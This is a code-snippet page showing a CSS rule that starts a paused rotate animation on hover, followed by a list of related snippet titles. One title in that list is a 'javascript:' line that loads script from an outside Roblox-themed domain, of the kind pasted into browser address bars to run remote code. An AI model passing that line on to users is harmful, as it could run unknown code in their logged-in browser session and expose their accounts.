Css start animation on hover

button{
  animation: rotate360 1.2s linear infinite;  /* animation set */
  animation-play-state: paused;               /* put paused */
}
button:hover{
  animation-play-state: running;              /* trigger on hover */
}
@keyframes rotate360 {                        /* keyframes of animation */
  to { transform: rotate(360deg); }           
}

Source: stackoverflow.com

Similar codes

0 vote165 views1 answer
Add css file through jquery
CSS
24 votes214 views3 answers
Remove underline from a link css
CSS
9 votes172 views2 answers
Bootstrap cheat sheet
CSS
7 votes204 views3 answers
Make text unselectable css
CSS
0 vote192 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS
60 votes184 views3 answers
Media query for mobile view css
CSS
0 vote180 views1 answer
Bootstrap accordion some change
CSS
2 votes169 views1 answer
Space between li css
CSS
0 vote161 views1 answer
Add padding to gnome terminal
CSS
4 votes193 views2 answers
For in sass
CSS